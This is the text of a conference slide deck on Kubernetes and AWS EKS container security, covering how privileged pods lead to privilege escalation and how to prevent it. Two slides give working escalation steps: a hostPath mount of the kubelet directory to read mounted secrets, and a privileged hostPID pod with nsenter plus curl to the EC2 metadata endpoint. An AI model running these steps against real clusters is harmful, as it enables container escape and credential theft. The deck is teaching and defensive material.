Who is afraid of privileged containers ?

WHO IS AFRAID OF
PRIVILEGED CONTAINERS?_
Marko Bevc

ESCAPING
BOUNDARIES_
Short Docker demo...
“By default, root inside the
container runs as root on the host.”
— @lizrice, about Docker

TOPICS
COVERED_
●
Containers and orchestration
●
Security mechanisms
●
Escalation methods & remediation
●
Assumptions for demo environment
●
Demo
●
Conclusions and takeaways

CONTAINERS
ARCHITECTURE_
container
image
pull
CONTAINER
REGISTRY
IMAGE
IMAGE
IMAGE
NAME
SPACES
KERNEL
CONTROL
GROUPS
SECURITY
MODULES
LINUX
KERNEL DRIVERS
CONTAINERISED
PROCESSESCONTAINERISED
PROCESSES
CONTAINERISED
PROCESSES
REGULAR
PROCESSESREGULAR
PROCESSES
REGULAR
PROCESSES
USERLAND
dockerd
containerd
runc
libcontainer
docker (client)
Docker

ORCHESTRATING
CONTAINERS_
Gartner: hype cycle
etcd
API
SERVER
SCHEDULER
CLOUD
CONTROLLER
MANAGER
CLUSTER
CONTROLLER
MANAGER
CONTROL PLANE
CLOUD
PROVIDER
KUBELET PROXY
OPERATING
SYSTEM
VIRTUAL
MACHINE
KUBELET PROXY
OPERATING
SYSTEM
VIRTUAL
MACHINE
NODES

SECURITY
MECHANISMS_
• Rootless containers (eg. Podman)
• Drop privileges in container (*_CAP)
• Volumes/mounts of host paths (RO)
• Daemon options and endpoint exposure (socket/
TCP with TLS)
• Kernel security features: AppArmor, SELinux or
seccomp
DOCKER

SECURITY
MECHANISMS_
• Secure endpoints & worker nodes
• RBAC
• CI/CD pipelines policies and scan:
–manifests
–containers
• NetworkPolicy
• PodSecurityPolicyKUBERNETES

MOUNTING
SECRETS_
• “Boring” escalation method, but quite effective
• User authorised to create resources in specific namespace
• Access to all currently mounted secrets from
/var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*
• Run a pod that has bind mounts the host’s kubelet directory:
kubectl run -it --rm --restart=Never --overrides="$(cat overrides.json)"
--image=busybox sh
• Escalation from here depends on what’s running on the node
• By default, nothing in EKS that allows further privilege escalation
• Can also run a DaemonSet and grab secrets from every node
#1

---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: myteam
name: myteam-role
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "get", "list", "watch", "delete", "update", "patch"]
---
kind: RoleBinding
metadata:
name: myteam-rolebinding
namespace: myteam
subjects:
- kind: Group
name: myteam-group
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: myteam-role
---
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789874:role/marko
username: marko
groups:
- myteam-group
# worker role omitted for brevity...

{
"apiVersion": "v1",
"spec": {
"containers": [
{
"name": "shell",
"image": "busybox",
"command": ["sh"],
"stdin": true,
"stdinOnce": true,
"tty": true,
"volumeMounts": [
{
"name": "kubelet-volume",
"mountPath": "/var/lib/kubelet"
}
]
}
],
"volumes": [
{
"name": "kubelet-volume",
"hostPath": {
"path": "/var/lib/kubelet"
}
}
]
}
}
overrides.json

BYPASS
RBAC_
●
User authorised to create Pods/other resources in a
specific namespace and cluster access
●
Run a Pod with a common modern Linux distribution as
container image
●
Escape the container
●
Spoiler alerts:
– We can elevate our way to node root
– Check EC2 instance user-data
– Inspect containers running on that node
– Grab private key material and Kubelet’s kubeconfig
– Use that for cluster access and gain full control
#2

function shell () {
echo "nsenter --mount=/proc/1/ns/mnt -- /bin/bash"
echo "nsenter -t 1 -m -u -i -n sh -c bash"
echo "curl http://169.254.169.254/"
echo "curl http://169.254.169.254/2019-10-01/user-data"
#aws-vault exec test -- kubectl run shell --restart=Never -it --image centos:8
AWS_PROFILE=test kubectl run shell --restart=Never -it --image centos:8
--rm --attach
--overrides
'{
"spec":{
"hostPID": true,
"containers":[{
"name":"scary",
"image": "centos:8",
"imagePullPolicy": "Always",
"stdin": true,
"tty": true,
"command":["/bin/bash"],
"nodeSelector":{
"dedicated":"master"
},
"securityContext":{
"privileged":true
}
}]
}
}'
}

RESOLVE AND
PREVENT_
• Limit unsafe features using PodSecurityPolicy (also other options)
• Pods validated against this PSP are unable to use hostPath
mounting, hostNetwork or privileged mode
• Further hardening/locking: make container filesystem read-only,
prevent running as root and drop all capabilities
• Need a ClusterRole and a ClusterRoleBinding assigned to
user/group that can use this PSP
• Ensures previous escalations are not possible
• AWS EKS default: eks.privileged – amend with caution, as it can
break your cluster!

---
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: eks.limited
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'runtime/default'
seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default'
spec:
privileged: false
allowPrivilegeEscalation: false
allowedCapabilities: [] # default set of capabilities are implicitly allowed
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
hostNetwork: false
hostIPC: false
hostPID: false
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'

---
kind: ClusterRole
metadata:
name: default-psp
rules:
- apiGroups: ['policy']
resources: ['podsecuritypolicies']
verbs: ['use']
resourceNames: ['default']
- apiGroups: ['extensions']
resources: ['podsecuritypolicies']
verbs: ['use']
resourceNames: ['default']
---
kind: ClusterRoleBinding
metadata:
name: default-psp
roleRef:
kind: ClusterRole
name: default-psp
subjects:
- kind: Group
name: myLimitedGroup

DEMO
CONTEXT_
●
Running currently latest AWS EKS cluster 1.16
●
Managed node groups (unmanaged work as well)
●
Worker nodes only on private subnets
●
RBAC enabled cluster wide and in place
●
User has limited access: constrained to team
namespace, using RBAC
Now let’s try and escalate our privileges to gain more
control...

CONCLUSIONS_
& TAKEAWAYS
●
Container orchestration platforms are nice (batteries included), but:
– still need to take care of security
– shared security model in the Cloud
●
Out of the box is usually* remote-exploit safe
●
The basics:
– Protect your crown jewels: control plane and worker nodes
– Rootless containers; least privilege Pods, change defaults (EC2
credentials access)
– Enforce pipelines for changes (no kubectl write access)
– Limit blast radius using namespaces
– Scan for vulnerabilities and check for updates
●
Kubernetes RBAC is complex and not enough on its own
●
Everyone should be afraid of privileged pods!

●
Resources:
– https://kubernetes.io/docs/concepts/policy/pod-security-policy/
– https://kubernetes.io/docs/concepts/security/
– https://aws.amazon.com/blogs/opensource/using-pod-security-policies-amazon-eks-clusters/
– https://docs.aws.amazon.com/eks/latest/userguide/restrict-ec2-credential-access.html
– https://docs.aws.amazon.com/eks/latest/userguide/security.html
– https://docs.giantswarm.io/guides/securing-with-rbac-and-psp/
– https://github.com/kris-nova/public-speaking/tree/master/slides/clusterfuck-fosdem-2020
FURTHER
READING_

KEEP IN
TOUCH_
https://www.scalefactory.com/
@_MarkoB
@mbevc1
@mbevc1
https://www.linkedin.com/in/marko-bevc/
https://www.scalefactory.com/Web:
Twitter:
GitHub:
GitLab:
LinkedIn:

Who is afraid of privileged containers ?

More Related Content

What's hot

Similar to Who is afraid of privileged containers ?

More from Marko Bevc

Recently uploaded

Who is afraid of privileged containers ?